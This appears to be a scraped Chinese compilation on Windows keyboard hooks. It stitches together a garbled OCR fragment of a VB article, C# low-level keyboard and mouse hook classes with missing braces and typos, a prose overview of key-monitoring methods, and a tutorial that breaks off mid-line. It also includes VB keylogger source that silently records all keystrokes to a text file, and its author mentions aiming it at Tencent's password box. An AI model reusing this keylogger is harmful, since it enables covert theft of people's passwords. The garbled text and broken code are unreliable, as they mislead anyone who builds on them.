键盘钩子

合集下载

基于VB的键盘钩子算法的实现

基于VB的键盘钩子算法的实现

输入 的运作 ,然 后根据 虚拟键 表判断 按键 的类 型 , 最 后把 得到的准 确的按键类 型输 出。
21 键 盘 工作 流 程 图 ( 1 . 图 )
少 的一 部分 在使 用计算机 进行操 作的 时候 , 经常会 使用 到一些快捷 的操作方 式或获取 键盘 的按键 信息 . 例 如使用 快捷 键来实 现复 制 、粘 贴或 是否 按 了 E c s、
2 键 盘 模 块 ( 2 . 3 图 )
机 息 . 可以强制结 束消息 的传递 。 还 总 2 键 盘 钩 子 的 工作 原 理 第


3 键 盘 钩 子 实现 算 法
使 用 不 同 的 W idw P 函 数 获 取 键 盘 的 动 作 n o sA I

9 1 6
簟 麓纛 蠢
T b 键 a Si t hf 键
vK y sae b e e c p v Ky  ̄ e be H vKy be
vKy rn b eP i t vK y b 2 6 5 9 7
空 格 键 等 操 作 信 息 。 捷 键 具 有 操 作 简单 、 便 、 捷 快 方 快 等优 点 . 就 需 要 我 们 在 编 写 程 序 代 码 的 过 程 中增 加 这 对 键 盘 的 按 键 进 行 判 断 . 个 过 程 就 是 所 谓 的 键 盘 钩 这 子 功 能 利 用 V 在 B来 编 写 所 需 要 的 应 用 程 序 时 . 于 由 V B无 法 直 接 对 系 统 的 注 册 表 进 行 操 作 对 于 此 类 操
图 1 键 盘 工 作 流程 图
22 键 盘的虚拟键 简表 ( 1 . 表 )
在 表 1中 . 一 列 是 系 统 各 个 键 中 的 名 称 . 二 第 第

C#简单鼠标键盘钩子KMHook

C#简单鼠标键盘钩子KMHook

C#简单⿏标键盘钩⼦KMHook简介:由三个⽂件构成Pinvo.cs、KeyboardHook.cs、MouseHook.cs Pinvo.cs 是KeyboardHook与MouseHook需要的⼀些常量消息的定义 KeyboardHook 是实现的⼀个WH_KEYBOARD_LL类型的全局键盘钩⼦(SetWindowsHookExA函数最后⼀个参数threadId=0) MouseHook 是实现的⼀个WH_MOUSE_LL类型的全局⿏标按键钩⼦(SetWindowsHookExA函数最后⼀个参数threadId=0) Pinvo1using System;2using System.Collections.Generic;3using System.Linq;4using System.Text;5using System.Threading.Tasks;67namespace KMHook8 {9public class HookType10 {11public const int WH_CALLWNDPROC = 4;12public const int WH_KEYBOARD_LL = 13;13public const int WH_MOUSE_LL = 14;14 }1516public class Messages17 {18public const int WM_MOUSEHOVER = 0x02A1;19public const int WM_MOUSELEAVE = 0x02A3;20public const int WM_DEVICECHANGE = 0x0219;21public const int WM_DDE_FIRST = 0x03E0;22public const int WM_BB_ENABLE = 0x00000001;23public const int WM_BB_BLURREGION = 0x00000002;24public const int WM_BB_TRANSITIONONMAXIMIZED = 0x00000004;25public const int WM_CLOAKED_APP = 0x00000001;26public const int WM_CLOAKED_SHELL = 0x00000002;27public const int WM_CLOAKED_INHERITED = 0x00000004;28public const int WM_TNP_RECTDESTINATION = 0x00000001;29public const int WM_TNP_RECTSOURCE = 0x00000002;30public const int WM_TNP_OPACITY = 0x00000004;31public const int WM_TNP_VISIBLE = 0x00000008;32public const int WM_TNP_SOURCECLIENTAREAONLY = 0x00000010;33public const int WM_SIT_DISPLAYFRAME = 0x00000001;34public const int WM_HELP = 0x0011;35public const int WM_IME_REPORT = 0x0280;36public const int WM_CONVERTREQUESTEX = 0x0109;37public const int WM_WNT_CONVERTREQUESTEX = 0x0109;38public const int WM_CONVERTREQUEST = 0x010A;39public const int WM_CONVERTRESULT = 0x010B;40public const int WM_INTERIM = 0x010C;41public const int WM_IMEKEYDOWN = 0x290;42public const int WM_IMEKEYUP = 0x291;43public const int WM_RASDIALEVENT = 0xCCCD;44public const int WM_CONTEXTMENU = 0x007B;45public const int WM_UNICHAR = 0x0109;46public const int WM_PRINTCLIENT = 0x0318;47public const int WM_NOTIFY = 0x004E;48public const int WM_HANDLED_MASK = 0x1;49public const int WM_TABLET_DEFBASE = 0x02C0;50public const int WM_TABLET_MAXOFFSET = 0x20;51public const int WM_NULL = 0x0000;52public const int WM_CREATE = 0x0001;53public const int WM_DESTROY = 0x0002;54public const int WM_MOVE = 0x0003;55public const int WM_SIZE = 0x0005;56public const int WM_ACTIVATE = 0x0006;57public const int WM_SETFOCUS = 0x0007;58public const int WM_KILLFOCUS = 0x0008;59public const int WM_ENABLE = 0x000A;60public const int WM_SETREDRAW = 0x000B;61public const int WM_SETTEXT = 0x000C;62public const int WM_GETTEXT = 0x000D;63public const int WM_GETTEXTLENGTH = 0x000E;64public const int WM_PAINT = 0x000F;65public const int WM_CLOSE = 0x0010;66public const int WM_QUERYENDSESSION = 0x0011;70public const int WM_ERASEBKGND = 0x0014;71public const int WM_SYSCOLORCHANGE = 0x0015;72public const int WM_SHOWWINDOW = 0x0018;73public const int WM_WININICHANGE = 0x001A;74public const int WM_DEVMODECHANGE = 0x001B;75public const int WM_ACTIVATEAPP = 0x001C;76public const int WM_FONTCHANGE = 0x001D;77public const int WM_TIMECHANGE = 0x001E;78public const int WM_CANCELMODE = 0x001F;79public const int WM_SETCURSOR = 0x0020;80public const int WM_MOUSEACTIVATE = 0x0021;81public const int WM_CHILDACTIVATE = 0x0022;82public const int WM_QUEUESYNC = 0x0023;83public const int WM_GETMINMAXINFO = 0x0024;84public const int WM_PAINTICON = 0x0026;85public const int WM_ICONERASEBKGND = 0x0027;86public const int WM_NEXTDLGCTL = 0x0028;87public const int WM_SPOOLERSTATUS = 0x002A;88public const int WM_DRAWITEM = 0x002B;89public const int WM_MEASUREITEM = 0x002C;90public const int WM_DELETEITEM = 0x002D;91public const int WM_VKEYTOITEM = 0x002E;92public const int WM_CHARTOITEM = 0x002F;93public const int WM_SETFONT = 0x0030;94public const int WM_GETFONT = 0x0031;95public const int WM_SETHOTKEY = 0x0032;96public const int WM_GETHOTKEY = 0x0033;97public const int WM_QUERYDRAGICON = 0x0037;98public const int WM_COMPAREITEM = 0x0039;99public const int WM_GETOBJECT = 0x003D;100public const int WM_COMPACTING = 0x0041;101public const int WM_COMMNOTIFY = 0x0044;102public const int WM_WINDOWPOSCHANGING = 0x0046;103public const int WM_WINDOWPOSCHANGED = 0x0047;104public const int WM_POWER = 0x0048;105public const int WM_COPYDATA = 0x004A;106public const int WM_CANCELJOURNAL = 0x004B;107public const int WM_INPUTLANGCHANGEREQUEST = 0x0050; 108public const int WM_INPUTLANGCHANGE = 0x0051;109public const int WM_TCARD = 0x0052;110public const int WM_USERCHANGED = 0x0054;111public const int WM_NOTIFYFORMAT = 0x0055;112public const int WM_STYLECHANGING = 0x007C;113public const int WM_STYLECHANGED = 0x007D;114public const int WM_DISPLAYCHANGE = 0x007E;115public const int WM_GETICON = 0x007F;116public const int WM_SETICON = 0x0080;117public const int WM_NCCREATE = 0x0081;118public const int WM_NCDESTROY = 0x0082;119public const int WM_NCCALCSIZE = 0x0083;120public const int WM_NCHITTEST = 0x0084;121public const int WM_NCPAINT = 0x0085;122public const int WM_NCACTIVATE = 0x0086;123public const int WM_GETDLGCODE = 0x0087;124public const int WM_SYNCPAINT = 0x0088;125public const int WM_NCMOUSEMOVE = 0x00A0;126public const int WM_NCLBUTTONDOWN = 0x00A1;127public const int WM_NCLBUTTONUP = 0x00A2;128public const int WM_NCLBUTTONDBLCLK = 0x00A3;129public const int WM_NCRBUTTONDOWN = 0x00A4;130public const int WM_NCRBUTTONUP = 0x00A5;131public const int WM_NCRBUTTONDBLCLK = 0x00A6;132public const int WM_NCMBUTTONDOWN = 0x00A7;133public const int WM_NCMBUTTONUP = 0x00A8;134public const int WM_NCMBUTTONDBLCLK = 0x00A9;135public const int WM_NCXBUTTONDOWN = 0x00AB;136public const int WM_NCXBUTTONUP = 0x00AC;137public const int WM_NCXBUTTONDBLCLK = 0x00AD;138public const int WM_INPUT_DEVICE_CHANGE = 0x00FE;139public const int WM_INPUT = 0x00FF;140public const int WM_KEYFIRST = 0x0100;141public const int WM_CHAR = 0x0102;142public const int WM_DEADCHAR = 0x0103;143public const int WM_SYSCHAR = 0x0106;144public const int WM_SYSDEADCHAR = 0x0107;145public const int WM_KEYLAST = 0x0109;146public const int WM_IME_STARTCOMPOSITION = 0x010D; 147public const int WM_IME_ENDCOMPOSITION = 0x010E;148public const int WM_IME_COMPOSITION = 0x010F;149public const int WM_IME_KEYLAST = 0x010F;150public const int WM_INITDIALOG = 0x0110;154public const int WM_HSCROLL = 0x0114;155public const int WM_VSCROLL = 0x0115;156public const int WM_INITMENU = 0x0116;157public const int WM_INITMENUPOPUP = 0x0117;158public const int WM_GESTURE = 0x0119;159public const int WM_GESTURENOTIFY = 0x011A;160public const int WM_MENUSELECT = 0x011F;161public const int WM_MENUCHAR = 0x0120;162public const int WM_ENTERIDLE = 0x0121;163public const int WM_MENURBUTTONUP = 0x0122;164public const int WM_MENUDRAG = 0x0123;165public const int WM_MENUGETOBJECT = 0x0124;166public const int WM_UNINITMENUPOPUP = 0x0125;167public const int WM_MENUCOMMAND = 0x0126;168public const int WM_CHANGEUISTATE = 0x0127;169public const int WM_UPDATEUISTATE = 0x0128;170public const int WM_QUERYUISTATE = 0x0129;171public const int WM_CTLCOLORMSGBOX = 0x0132;172public const int WM_CTLCOLOREDIT = 0x0133;173public const int WM_CTLCOLORLISTBOX = 0x0134;174public const int WM_CTLCOLORBTN = 0x0135;175public const int WM_CTLCOLORDLG = 0x0136;176public const int WM_CTLCOLORSCROLLBAR = 0x0137;177public const int WM_CTLCOLORSTATIC = 0x0138;178public const int WM_MOUSEFIRST = 0x0200;179//public const int WM_LBUTTONDBLCLK = 0x0203;180//public const int WM_RBUTTONDBLCLK = 0x0206;181//public const int WM_MBUTTONDBLCLK = 0x0209;182public const int WM_MOUSEWHEEL = 0x020A;183public const int WM_XBUTTONDOWN = 0x020B;184public const int WM_XBUTTONUP = 0x020C;185public const int WM_XBUTTONDBLCLK = 0x020D;186public const int WM_MOUSEHWHEEL = 0x020E;187public const int WM_MOUSELAST = 0x020E;188public const int WM_PARENTNOTIFY = 0x0210;189public const int WM_ENTERMENULOOP = 0x0211;190public const int WM_EXITMENULOOP = 0x0212;191public const int WM_NEXTMENU = 0x0213;192public const int WM_SIZING = 0x0214;193public const int WM_CAPTURECHANGED = 0x0215;194public const int WM_MOVING = 0x0216;195public const int WM_POWERBROADCAST = 0x0218;196public const int WM_MDICREATE = 0x0220;197public const int WM_MDIDESTROY = 0x0221;198public const int WM_MDIACTIVATE = 0x0222;199public const int WM_MDIRESTORE = 0x0223;200public const int WM_MDINEXT = 0x0224;201public const int WM_MDIMAXIMIZE = 0x0225;202public const int WM_MDITILE = 0x0226;203public const int WM_MDICASCADE = 0x0227;204public const int WM_MDIICONARRANGE = 0x0228;205public const int WM_MDIGETACTIVE = 0x0229;206public const int WM_MDISETMENU = 0x0230;207public const int WM_ENTERSIZEMOVE = 0x0231;208public const int WM_EXITSIZEMOVE = 0x0232;209public const int WM_DROPFILES = 0x0233;210public const int WM_MDIREFRESHMENU = 0x0234;211public const int WM_POINTERDEVICECHANGE = 0x238;212public const int WM_POINTERDEVICEINRANGE = 0x239;213public const int WM_POINTERDEVICEOUTOFRANGE = 0x23A; 214public const int WM_TOUCH = 0x0240;215public const int WM_NCPOINTERUPDATE = 0x0241;216public const int WM_NCPOINTERDOWN = 0x0242;217public const int WM_NCPOINTERUP = 0x0243;218public const int WM_POINTERUPDATE = 0x0245;219public const int WM_POINTERDOWN = 0x0246;220public const int WM_POINTERUP = 0x0247;221public const int WM_POINTERENTER = 0x0249;222public const int WM_POINTERLEAVE = 0x024A;223public const int WM_POINTERACTIVATE = 0x024B;224public const int WM_POINTERCAPTURECHANGED = 0x024C; 225public const int WM_TOUCHHITTESTING = 0x024D;226public const int WM_POINTERWHEEL = 0x024E;227public const int WM_POINTERHWHEEL = 0x024F;228public const int WM_POINTERROUTEDTO = 0x0251;229public const int WM_POINTERROUTEDAWAY = 0x0252;230public const int WM_POINTERROUTEDRELEASED = 0x0253; 231public const int WM_IME_SETCONTEXT = 0x0281;232public const int WM_IME_NOTIFY = 0x0282;233public const int WM_IME_CONTROL = 0x0283;234public const int WM_IME_COMPOSITIONFULL = 0x0284;237public const int WM_IME_REQUEST = 0x0288;238public const int WM_IME_KEYDOWN = 0x0290;239public const int WM_IME_KEYUP = 0x0291;240public const int WM_NCMOUSEHOVER = 0x02A0;241public const int WM_NCMOUSELEAVE = 0x02A2;242public const int WM_WTSSESSION_CHANGE = 0x02B1;243public const int WM_TABLET_FIRST = 0x02;244public const int WM_TABLET_LAST = 0x02;245public const int WM_DPICHANGED = 0x02E0;246public const int WM_DPICHANGED_BEFOREPARENT = 0x02E2;247public const int WM_DPICHANGED_AFTERPARENT = 0x02E3;248public const int WM_GETDPISCALEDSIZE = 0x02E4;249public const int WM_CUT = 0x0300;250public const int WM_COPY = 0x0301;251public const int WM_PASTE = 0x0302;252public const int WM_CLEAR = 0x0303;253public const int WM_UNDO = 0x0304;254public const int WM_RENDERFORMAT = 0x0305;255public const int WM_RENDERALLFORMATS = 0x0306;256public const int WM_DESTROYCLIPBOARD = 0x0307;257public const int WM_DRAWCLIPBOARD = 0x0308;258public const int WM_PAINTCLIPBOARD = 0x0309;259public const int WM_VSCROLLCLIPBOARD = 0x030A;260public const int WM_SIZECLIPBOARD = 0x030B;261public const int WM_ASKCBFORMATNAME = 0x030C;262public const int WM_CHANGECBCHAIN = 0x030D;263public const int WM_HSCROLLCLIPBOARD = 0x030E;264public const int WM_QUERYNEWPALETTE = 0x030F;265public const int WM_PALETTEISCHANGING = 0x0310;266public const int WM_PALETTECHANGED = 0x0311;267public const int WM_HOTKEY = 0x0312;268public const int WM_PRINT = 0x0317;269public const int WM_APPCOMMAND = 0x0319;270public const int WM_THEMECHANGED = 0x031A;271public const int WM_CLIPBOARDUPDATE = 0x031D;272public const int WM_DWMCOMPOSITIONCHANGED = 0x031E;273public const int WM_DWMNCRENDERINGCHANGED = 0x031F;274public const int WM_DWMCOLORIZATIONCOLORCHANGED = 0x0320; 275public const int WM_DWMWINDOWMAXIMIZEDCHANGE = 0x0321;276public const int WM_DWMSENDICONICTHUMBNAIL = 0x0323;277public const int WM_DWMSENDICONICLIVEPREVIEWBITMAP = 0x0326; 278public const int WM_GETTITLEBARINFOEX = 0x033F;279public const int WM_HANDHELDFIRST = 0x0358;280public const int WM_HANDHELDLAST = 0x035F;281public const int WM_AFXFIRST = 0x0360;282public const int WM_AFXLAST = 0x037F;283public const int WM_PENWINFIRST = 0x0380;284public const int WM_PENWINLAST = 0x038F;285public const int WM_APP = 0x8000;286public const int WM_USER = 0x0400;287public const int WM_CT_REPEAT_FIRST_FIELD = 0x10;288public const int WM_CT_BOTTOM_FIELD_FIRST = 0x20;289public const int WM_CT_TOP_FIELD_FIRST = 0x40;290public const int WM_CT_INTERLACED = 0x80;291public const int WM_MAX_VIDEO_STREAMS = 0x3;292public const int WM_MAX_STREAMS = 0x3;293294public const int WM_KEYDOWN = 0x100;295public const int WM_KEYUP = 0x101;296public const int WM_SYSKEYDOWN = 0x104;297public const int WM_SYSKEYUP = 0x105;298299public const int WM_MOUSEMOVE = 0x200;300public const int WM_LBUTTONDOWN = 0x201;301public const int WM_RBUTTONDOWN = 0x204;302public const int WM_MBUTTONDOWN = 0x207;303public const int WM_LBUTTONUP = 0x202;304public const int WM_RBUTTONUP = 0x205;305public const int WM_MBUTTONUP = 0x208;306public const int WM_LBUTTONDBLCLK = 0x203;307public const int WM_RBUTTONDBLCLK = 0x206;308public const int WM_MBUTTONDBLCLK = 0x209;309 }310 }KeyboardHookusing System;using System.Runtime.InteropServices;public class KeyboardHook : IDisposable{[DllImport("user32.dll")]private static extern int SetWindowsHookExA(int idHook, KeyboardDelegateHandler lpfn, IntPtr hInstance, int threadId); [DllImport("user32.dll")]private static extern int CallNextHookEx(int idHook, int nCode, int wParam, KeyData lParam);[DllImport("user32.dll")]public static extern bool UnhookWindowsHookEx(int idHook);private int hookType = 0;private delegate int KeyboardDelegateHandler(int nCode, int wParam, KeyData lParam);public delegate bool KeyDelegate(KeyData keyData, int message);public delegate bool KeyUpUpDelegate(KeyData keyData);public delegate bool KeyDownDelegate(KeyData keyData);public event KeyDelegate keyEvent;public event KeyUpUpDelegate keyUpEvent;public event KeyUpUpDelegate keyDownEvent;public bool IsHooked{get{if (hookType != 0){return true;}return false;}}///<summary>/// vkCode 表⽰1到254间的虚拟键盘码/// scanCode 表⽰硬件扫描码///</summary>[StructLayout(LayoutKind.Sequential)]public class KeyData{public int vkCode;public int scanCode;public int flags;public int time;public int dwExtraInfo;}public void SetupHook(){hookType = SetWindowsHookExA(HookType.WH_KEYBOARD_LL, KMProc, IntPtr.Zero, 0);if (hookType == 0){RemoveHook();}}private void RemoveHook(){bool retKeyboard = UnhookWindowsHookEx(hookType);if (retKeyboard){hookType = 0;}}private int KMProc(int nCode, int wParam, KeyData lParam){if (!(nCode >= 0)){return CallNextHookEx(hookType, nCode, wParam, lParam);}bool shouldBlock = false;if (keyEvent != null){shouldBlock = keyEvent.Invoke(lParam, wParam);}if (wParam == Messages.WM_KEYDOWN ||wParam == Messages.WM_SYSKEYDOWN){if (keyDownEvent != null){}if (wParam == Messages.WM_KEYUP ||wParam == Messages.WM_SYSKEYUP){if (keyUpEvent != null){shouldBlock = keyUpEvent.Invoke(lParam);}}if (!shouldBlock){return CallNextHookEx(hookType, nCode, wParam, lParam);}return1;}public void Dispose(){RemoveHook();}}}MouseHookusing System;using System.Runtime.InteropServices;namespace KMHook{public class MouseHook: IDisposable{[DllImport("user32.dll")]private static extern int SetWindowsHookExA(int idHook, MouseDelegateHandler lpfn, IntPtr hInstance, int threadId); [DllImport("user32.dll")]private static extern bool UnhookWindowsHookEx(int idHook);[DllImport("user32.dll")]private static extern int CallNextHookEx(int idHook, int nCode, int wParam, MouseData lParam);private delegate int MouseDelegateHandler(int nCode, int wParam, MouseData lParam);public delegate bool MouseDelegate(MouseData pt, int message);public event MouseDelegate mouseEvent;private int hookType = 0;[StructLayout(LayoutKind.Sequential)]public class Point{public int x;public int y;}[StructLayout(LayoutKind.Sequential)]public class MouseData{public Point pt;public int hWnd;public int wHitTestCode;public int dwExtraInfo;}public bool IsHooked{get{if (hookType != 0){return true;}return false;}}public void SetupHook(){RemoveHook();}}private void RemoveHook(){bool retKeyboard = UnhookWindowsHookEx(hookType);if (retKeyboard){hookType = 0;}}private int KMProc(int nCode, int wParam, MouseData lParam){if (!(nCode >= 0)){return CallNextHookEx(hookType, nCode, wParam, lParam);}bool shouldBlock = false;if (mouseEvent != null){shouldBlock = mouseEvent.Invoke(lParam, wParam);}if (!shouldBlock){return CallNextHookEx(hookType, nCode, wParam, lParam);}return1;}public void Dispose(){RemoveHook();}}}代码使⽤情况KeyboardHook keyboardHook = new KeyboardHook();keyboardHook.keyEvent += (keyData, message) =>{if (message == Messages.WM_KEYDOWN || message == Messages.WM_SYSKEYDOWN) {if (keyData.vkCode == (int) Keys.A) Console.WriteLine("key a pressed.");if (keyData.vkCode == (int) Keys.F1) Console.WriteLine("f1 pressed.");if (keyData.vkCode == (int) Keys.Delete) Console.WriteLine("delete pressed.");if (keyData.vkCode == (int) Keys.LControlKey) Console.WriteLine("left control pressed."); }return true;};keyboardHook.SetupHook();。

监测键盘状态的方法

监测键盘状态的方法

监测键盘状态的方法下面将介绍几种常见的监测键盘状态的方法:1.轮询模式检测键盘状态:在轮询模式下,应用程序会在一个循环中不断地检测键盘状态。

该循环可以由操作系统提供的API函数实现,也可以由程序员编写自定义的循环来检测键盘状态。

轮询模式是最简单、最常见的键盘监测方法。

其基本流程如下:(1)初始化键盘状态变量。

(2)进入循环。

(3)检测键盘状态。

(4)根据键盘状态来执行相应的操作。

(5)返回第三步。

2.事件驱动模式检测键盘状态:在事件驱动模式下,应用程序会注册一个键盘事件监听器,当有键盘事件发生时,操作系统会通知应用程序,应用程序再根据具体的事件类型做出相应的处理。

其基本步骤如下:(1)注册键盘事件监听器。

(2)进入事件循环。

(3)等待键盘事件发生。

(4)根据事件类型执行相应的操作。

(5)返回第三步。

3.钩子模式检测键盘状态:钩子模式是一种更底层、更复杂的键盘监测方法,它可以在操作系统级别进行键盘状态的监测,因此比轮询模式和事件驱动模式更灵活和强大。

其基本步骤如下:(1)安装键盘钩子。

(2)等待钩子回调函数被触发。

(3)根据钩子回调函数中传递的参数,获取键盘状态。

(4)根据键盘状态执行相应的操作。

(5)返回第二步。

需要注意的是,钩子模式的使用需要一定的权限,因为它可以在操作系统级别进行键盘状态的监测,如果被恶意程序滥用,可能会对系统稳定性和安全性造成威胁。

除了上述三种常见的监测键盘状态的方法,还可以使用操作系统提供的键盘状态查询API函数,例如Windows平台下的GetKeyState函数和GetAsyncKeyState函数,它们可以获取当前按键的状态。

总结起来,监测键盘状态有轮询模式、事件驱动模式和钩子模式等几种常见的方法。

选择哪种方法取决于具体的应用场景和需求。

在实际应用中,可以根据具体情况进行选择和结合使用,以满足对键盘状态监测的要求。

C# .NET 全局键盘钩子。这可以用来在全球范围内捕捉键盘输入。

C# .NET 全局键盘钩子。这可以用来在全球范围内捕捉键盘输入。

using System;using System.Diagnostics;using System.Runtime.InteropServices;using System.Windows.Forms;using mons;namespace Commons.Device{/// <summary>/// 全局键盘钩子。

这可以用来在全球范围内捕捉键盘输入。

/// </summary>public static class KeyboardHook{// 钩子的句柄(用于安装/卸载).private static IntPtr hHook = IntPtr.Zero;//委托该点的过滤功能private static Hooks.HookProc hookproc = new Hooks.HookProc(Filter);/// <summary>/// 请检查如果任一控制修饰符是积极的。

/// </summary>public static bool Control = false;/// <summary>/// 检查,看看是否要么移位修饰符是积极的。

/// </summary>public static bool Shift = false;/// <summary>/// 检查看看或者ALT修饰符是积极的。

/// </summary>public static bool Alt = false;/// <summary>///检查,看看是否要么运修饰符是积极的。

/// </summary>public static bool Win = false;/// <summary>/// 按键的函数原型。

/// </summary>public delegate bool KeyPressed();/// <summary>/// 键处理和他们的回调/// </summary>private static System.Collections.Generic.Dictionary<Keys KeyPressed> handledKeysDown = new System.Collections.Generic.Dictionary<Keys KeyPressed>();private static System.Collections.Generic.Dictionary<Keys KeyPressed> handledKeysUp = new System.Collections.Generic.Dictionary<Keys KeyPressed>();/// <summary>/// 委托处理KeyDown事件。

键盘钩子

键盘钩子

可以窗体记录Private Sub Form_KeyPress(KeyAscii As Integer)Print Chr(KeyAscii)End Sub后台Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As IntegerPrivate Sub Form_Load()Form1.Visible = FalseTimer1.Interval = 100End SubPrivate Sub Timer1_Timer()If GetAsyncKeyState(vbKeyB) ThenForm1.Visible = TrueForm1.SetFocus '激活窗口End IfEnd Sub也没什么,首先说明这是根据上次那位仁兄的键盘记录程序修改的,做了一点优化,使之看起来要简单一点,这代码只能用来学习与参考的,用它来对付腾讯的密码框还差得远呢。

直接用数组对应表单的方法来返回字符串。

'模块部分Public Type EVENTMSGvKey As LongsKey As Longflag As Longtime As LongEnd TypeDeclare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As LongDeclare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByV al lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As LongDeclare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam A s Long, lParam As Long) As LongPublic Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, B yVal Length As Long)Public mymsg As EVENTMSGPublic Const WH_KEYBOARD_LL = 13Public Const WM_KEYDOWN = &H100Public hHook&, i%, appStr$, SBUF$, pos1$(), pos2$()Sub ints() '初始化数据appStr = "从" & Now & "开始键盘记录如下..." & vbCrLfSBUF = "96_0|97_1|98_2|99_3|100_4|101_5|102_6|103_7|104_8|105_9|106_*|107_+|109_-|110_.|111_/|13_Enter| 144_NumLock|65_A|66_B|67_C|68_D|69_E|70_F|71_G|72_H|73_I|74_J|75_K|76_L|77_M|78_N|79_O|80_P|81_Q |82_R|83_S|84_T|85_U|86_V|87_W|88_X|89_Y|90_Z48_0|49_1|50_2|51_3|52_4|53_5|54_6|55_7|56_8|57_9|192_`| 189_-|187_=|220_\|8_BACKSpace|44_Print|45_InSert|46_Delete|145_ScrollLock|36_Home|35_End|19_PauseBrea k|33_PageDown|34_PageUp|38_上|40_下|37_左|39_右|27_Esc|112_F1|113_F2|114_F3|115_F4|116_F5|117_F6|118_F7|119_F8|120_F9|121_F10|122_F11|123_F12|9_TA B|20_CapsLock|160_左Shift|162_左Ctrl|91_左Win|13_右Enter|161_右Shift|92_右Win|93_右List|163_右Ctrl" pos1 = Split(SBUF, "|"): ReDim pos2$(256)For i = 0 To UBound(pos1) - 1pos2(Val(pos1(i))) = Mid(pos1(i), InStr(1, pos1(i), "_") + 1)NextEnd SubPublic Function MyKBHook(ByVal ncode As Long, ByVal wParam As Long, ByVal lParam As Long) As LongIf ncode = 0 ThenIf wParam = WM_KEYDOWN ThenCopyMemory mymsg, ByVal lParam, Len(mymsg)appStr = appStr & pos2(mymsg.vKey) & " "End If 'FOR循环和判断结构完全去掉了,取而代之的是一个已经定义好的对应数组End IfMyKBHook = CallNextHookEx(hHook, ncode, wParam, lParam)End Function'窗体部分Private Sub form_Load()KeyPreview = 1: ScaleMode = 3: AutoRedraw = 1: Caption = "键盘记录"Module1.ints '初始化数据hHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf MyKBHook, App.hInstance, 0)If hHook = 0 Then EndEnd SubPrivate Sub Form_Unload(Cancel As Integer)Call UnhookWindowsHookEx(hHook) '程序退出时Open "D:\getkey.txt" For Append As #1 '打开文本Print #1, Module1.appStr '一次性记录Print #1, "到" & Now() & "结束!" & vbCrLfClose #1End SubPrivate Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)If KeyCode = vbKeyEscape Then Unload MeEnd Sub'我改了改,变成直接在窗体上输出。

C#键盘钩子实例

C#键盘钩子实例

C#键盘钩⼦实例1. 使⽤钩⼦之前,需要使⽤SetWindowsHookEx()函数创建钩⼦,使⽤完毕之后要UnhookWindowsHookEx()函数卸载钩⼦,“钩”到消息后操作系统会⾃动调⽤在创建钩⼦时注册的回调函数来处理消息,处理完后调⽤CallNextHookEx()函数等待或处理下⼀条消息。

有关钩⼦的详细信息请见参考--C#⿏标钩⼦,其中已介绍。

2. 2对于键盘钩⼦,钩⼦类型为WH_KEYBOARD_LL=13,只需要设置SetWindowsHookEx的idHook参数为13即可“钩”到键盘消息。

关于钩⼦类型的资料见参考资料--钩⼦类型。

键盘钩⼦实例1. 1启动VS,新建C# WinForm项⽬,命名为“Cs键盘钩⼦”,如下:2. 2对主窗⼝布局,如下:3. 3添加Win32Api引⽤,代码如下:public class Win32Api{#region 常数和结构public const int WM_KEYDOWN = 0x100;public const int WM_KEYUP = 0x101;public const int WM_SYSKEYDOWN = 0x104;public const int WM_SYSKEYUP = 0x105;public const int WH_KEYBOARD_LL = 13;[StructLayout(LayoutKind.Sequential)] //声明键盘钩⼦的封送结构类型public class KeyboardHookStruct{public int vkCode; //表⽰⼀个在1到254间的虚似键盘码public int scanCode; //表⽰硬件扫描码public int flags;public int time;public int dwExtraInfo;}#endregion#region Apipublic delegate int HookProc(int nCode, Int32 wParam, IntPtr lParam);//安装钩⼦的函数[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]public static extern int SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hInstance, int threadId);//卸下钩⼦的函数[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]public static extern bool UnhookWindowsHookEx(int idHook);//下⼀个钩挂的函数[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]public static extern int CallNextHookEx(int idHook, int nCode, Int32 wParam, IntPtr lParam);[DllImport("user32")]public static extern int ToAscii(int uVirtKey, int uScanCode, byte[] lpbKeyState, byte[] lpwTransKey, int fuState);[DllImport("user32")]public static extern int GetKeyboardState(byte[] pbKeyState);[DllImport("kernel32.dll", CharSet = CharSet.Auto,CallingConvention = CallingConvention.StdCall)]public static extern IntPtr GetModuleHandle(string lpModuleName);#endregion4. 4添加新建类KeyboardHook,封装键盘钩⼦,代码如下:public class KeyboardHook{int hHook;Win32Api.HookProc KeyboardHookDelegate;public event KeyEventHandler OnKeyDownEvent;public event KeyEventHandler OnKeyUpEvent;public event KeyPressEventHandler OnKeyPressEvent;public KeyboardHook() { }public void SetHook(){KeyboardHookDelegate = new Win32Api.HookProc(KeyboardHookProc);Process cProcess = Process.GetCurrentProcess();ProcessModule cModule = cProcess.MainModule;var mh = Win32Api.GetModuleHandle(cModule.ModuleName);hHook = Win32Api.SetWindowsHookEx(Win32Api.WH_KEYBOARD_LL, KeyboardHookDelegate, mh, 0);}public void UnHook(){Win32Api.UnhookWindowsHookEx(hHook);}private List<Keys> preKeysList = new List<Keys>();//存放被按下的控制键,⽤来⽣成具体的键private int KeyboardHookProc(int nCode, Int32 wParam, IntPtr lParam){//如果该消息被丢弃(nCode<0)或者没有事件绑定处理程序则不会触发事件if ((nCode >= 0) && (OnKeyDownEvent != null || OnKeyUpEvent != null || OnKeyPressEvent != null)){Win32Api.KeyboardHookStruct KeyDataFromHook = (Win32Api.KeyboardHookStruct)Marshal.PtrToStructure(lParam, typeof(Win32Api.KeyboardHookStruct));Keys keyData = (Keys)KeyDataFromHook.vkCode;//按下控制键if ((OnKeyDownEvent != null || OnKeyPressEvent != null) && (wParam == Win32Api.WM_KEYDOWN || wParam == Win32Api.WM_SYSKEYDOWN)){if (IsCtrlAltShiftKeys(keyData) && preKeysList.IndexOf(keyData) == 